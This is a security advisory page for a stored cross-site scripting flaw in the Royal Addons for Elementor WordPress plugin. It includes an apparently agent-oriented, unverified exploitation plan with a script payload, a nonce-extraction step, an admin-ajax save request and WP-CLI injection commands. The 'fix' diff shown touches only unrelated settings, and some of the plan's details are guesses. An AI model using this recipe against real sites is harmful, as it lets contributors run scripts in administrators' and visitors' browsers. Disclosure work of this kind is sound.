CVE-2026-5162

Royal Addons for Elementor <= 1.7.1056 - Authenticated (Contributor+) Stored Cross-Site Scripting via Instagram Feed Widget

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
1.7.1057
Patched in
1d
Time to patch

Description

The Royal Addons for Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Instagram Feed widget's 'instagram_follow_text' setting in all versions up to, and including, 1.7.1056 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.7.1056
PublishedApril 16, 2026
Last updatedApril 17, 2026
Affected pluginroyal-elementor-addons

What Changed in the Fix

Changes introduced in v1.7.1057

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-5162 ## 1. Vulnerability Summary The **Royal Addons for Elementor** plugin (up to v1.7.1056) contains a Stored Cross-Site Scripting (XSS) vulnerability in its **Instagram Feed** widget. The vulnerability exists because the plugin fails to sanitize or escape t…

Show full research plan

Exploitation Research Plan - CVE-2026-5162

1. Vulnerability Summary

The Royal Addons for Elementor plugin (up to v1.7.1056) contains a Stored Cross-Site Scripting (XSS) vulnerability in its Instagram Feed widget. The vulnerability exists because the plugin fails to sanitize or escape the instagram_follow_text setting before rendering it on the frontend. Authenticated users with Contributor-level permissions or higher can create or edit a post, add the Instagram Feed widget, and inject malicious scripts into the "Follow Text" field. When any user views the affected post, the script executes in their browser context.

2. Attack Vector Analysis

  • Vulnerable Widget: wpr-instagram-feed (as registered in assets/js/frontend.js).
  • Vulnerable Setting: instagram_follow_text.
  • Authentication Level: Contributor+ (Users who can access the Elementor editor for posts).
  • Entry Point: Elementor Editor AJAX API (elementor_ajax).
  • Target Page: Any post or page where the malicious Instagram Feed widget is embedded.

3. Code Flow

  1. Input: A Contributor-level user edits a post using the Elementor editor. They drag the "Instagram Feed" widget onto the page.
  2. Storage: In the widget settings, the user enters a payload (e.g., <script>alert(document.domain)</script>) into the "Follow Text" field (instagram_follow_text).
  3. Persistence: When the user saves the page, Elementor sends a POST request to admin-ajax.php with the action elementor_ajax. The widget configuration, including the malicious setting, is stored in the WordPress database under the _elementor_data meta key for that post.
  4. Render (Sink): When the post is viewed on the frontend, the WprAddons\Widgets\Wpr_Instagram_Feed::render() method (inferred class name) retrieves the settings from post meta. The instagram_follow_text value is echoed directly into the HTML (likely within a button or link) without passing through esc_html() or wp_kses().

4. Nonce Acquisition Strategy

Elementor uses its own AJAX infrastructure for saving post data. To successfully save a widget configuration via HTTP, a valid Elementor AJAX nonce is required.

  1. Pre-requisite: Create a post as a Contributor and ensure it is "Edited with Elementor".
  2. Step: Navigate to the Elementor Editor for that post: /wp-admin/post.php?post=[POST_ID]&action=elementor.
  3. Extraction: Use the browser_eval tool to extract the nonce and the post ID from the Elementor configuration object.
  4. JavaScript Variable:
    • Nonce: window.elementorCommonConfig.ajax.nonce
    • Editor Post ID: window.elementorConfig.post_id (this confirms the ID context).

5. Exploitation Strategy

The exploit will simulate the Elementor "Save" action to inject the payload.

Step 1: Setup Content

Create a post and prepare it for Elementor.

wp post create --post_type=post --post_title="XSS Test" --post_status=publish --post_author=contributor_user_id
wp post meta add [POST_ID] _elementor_edit_mode "builder"
wp post meta add [POST_ID] _elementor_template_type "wp-post"

Step 2: Extract Nonce

Use browser_navigate to the editor URL, then browser_eval to get the nonce.

Step 3: Inject Payload via HTTP Request

Send a POST request to admin-ajax.php mimicking an Elementor save action.

  • URL: https://[TARGET]/wp-admin/admin-ajax.php
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Parameters:
    • action: elementor_ajax
    • _nonce: [EXTRACTED_NONCE]
    • actions: A JSON string containing the save_builder operation.
    • editor_post_id: [POST_ID]

Payload Structure (Actions JSON):

{
  "save_builder": {
    "action": "save_builder",
    "data": {
      "status": "publish",
      "elements": [
        {
          "id": "random_id_123",
          "elType": "widget",
          "widgetType": "wpr-instagram-feed",
          "settings": {
            "instagram_follow_text": "\"><script>alert(document.domain)</script>"
          }
        }
      ]
    }
  }
}

Step 4: Trigger Execution

Navigate to the frontend URL of the post (/?p=[POST_ID]) to see the script execute.

6. Test Data Setup

  1. Plugin Status: royal-elementor-addons and elementor must be active.
  2. User Role: A user with the contributor role.
  3. Target Post: A post ID where the contributor has edit permissions.

7. Expected Results

  • The elementor_ajax request should return a 200 OK with a JSON response: {"success":true,"data":{"responses":{"save_builder":{"success":true...}}}}.
  • The post meta _elementor_data for the post will contain the string \"><script>alert(document.domain)</script>.
  • Viewing the post frontend will result in an alert box showing the document domain.

8. Verification Steps

  1. Database Check:
    wp post meta get [POST_ID] _elementor_data
    
    Confirm the JSON contains the instagram_follow_text with the payload.
  2. HTML Source Check:
    Navigate to the post and check for the unescaped payload in the rendered HTML:
    # (Simulated via browser/Playwright)
    # Search for: <script>alert(document.domain)</script>
    

9. Alternative Approaches

If the elementor_ajax save structure is too complex to replicate via a single http_request, the fallback is to use WP-CLI to directly inject the configuration into the post meta. This is effective for PoC environments where the goal is to prove the Stored XSS exists during rendering:

# Prepare the JSON structure
PAYLOAD='[{"id":"exploit","elType":"widget","widgetType":"wpr-instagram-feed","settings":{"instagram_follow_text":"\"><script>alert(document.domain)</script>"}}]'

# Update the meta directly
wp post meta update [POST_ID] _elementor_data "$PAYLOAD"

This confirms that if a Contributor saves this data (which Elementor allows), the frontend will execute it.

Research Findings
Static analysis — not yet PoC-verified

Summary

The Royal Addons for Elementor plugin (up to version 1.7.1056) is vulnerable to Stored Cross-Site Scripting because the Instagram Feed widget fails to sanitize and escape the 'instagram_follow_text' setting. This allows authenticated users with Contributor-level access or higher to inject arbitrary scripts into posts that execute in the context of any user viewing the page.

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/royal-elementor-addons/1.7.1056/admin/plugin-options.php /home/deploy/wp-safety.org/data/plugin-versions/royal-elementor-addons/1.7.1057/admin/plugin-options.php
--- /home/deploy/wp-safety.org/data/plugin-versions/royal-elementor-addons/1.7.1056/admin/plugin-options.php	2026-04-03 11:57:32.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/royal-elementor-addons/1.7.1057/admin/plugin-options.php	2026-04-10 10:58:42.000000000 +0000
@@ -120,6 +120,8 @@
     register_setting('wpr-extension-settings', 'wpr-parallax-multi-layer');
     register_setting('wpr-extension-settings', 'wpr-custom-css');
     register_setting('wpr-extension-settings', 'wpr-display-conditions');
+    register_setting('wpr-extension-settings', 'wpr-equal-height');
+    // register_setting('wpr-extension-settings', 'wpr-column-slider');
     register_setting('wpr-extension-settings', 'wpr-sticky-section');
 
     // Element Toggle
@@ -1630,6 +1632,12 @@
                         echo '<br><span>Tip: Edit any Section > Navigate to Advanced tab</span>';
                     } elseif ( 'wpr-display-conditions' === $option_name ) {
                         echo '<br><span>Tip: Edit any Element > Navigate to Visibility tab</span>';
+                    } elseif ( 'wpr-column-slider' === $option_name ) {
+                        echo '<br><span>Tip: Edit any Section > Navigate to Advanced tab</span>';
+                        // echo '<a href="https://www.youtube.com" target="_blank">Watch Video Tutorial</a>';
+                    } elseif ( 'wpr-equal-height' === $option_name ) {
+                        echo '<br><span>Tip: Edit any Section > Navigate to Advanced tab</span>';
+                        // echo '<a href="https://www.youtube.com" target="_blank">Watch Video Tutorial</a>';
                     }
 
                     // echo '<a href="https://royal-elementor-addons.com/elementor-particle-effects/?ref=rea-plugin-backend-extentions-prev">'. esc_html('View Extension Demo', 'wpr-addons') .'</a>';
... (truncated)

Exploit Outline

To exploit this vulnerability, an attacker with Contributor-level access or higher performs the following steps: 1. Authenticate to the WordPress site and open the Elementor editor for a post or page they have permissions to edit. 2. Extract the required security nonce from the global JavaScript object `window.elementorCommonConfig.ajax.nonce`. 3. Send a POST request to the `/wp-admin/admin-ajax.php` endpoint with the action `elementor_ajax`. 4. Craft the payload using the `save_builder` operation within the `actions` parameter. The payload must include a widget of type `wpr-instagram-feed` with the `instagram_follow_text` setting containing a malicious script (e.g., `"><script>alert(document.domain)</script>`). 5. Once the page is saved with the malicious widget configuration, any user (including administrators) who navigates to the frontend of that page will trigger the execution of the injected script in their browser context.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.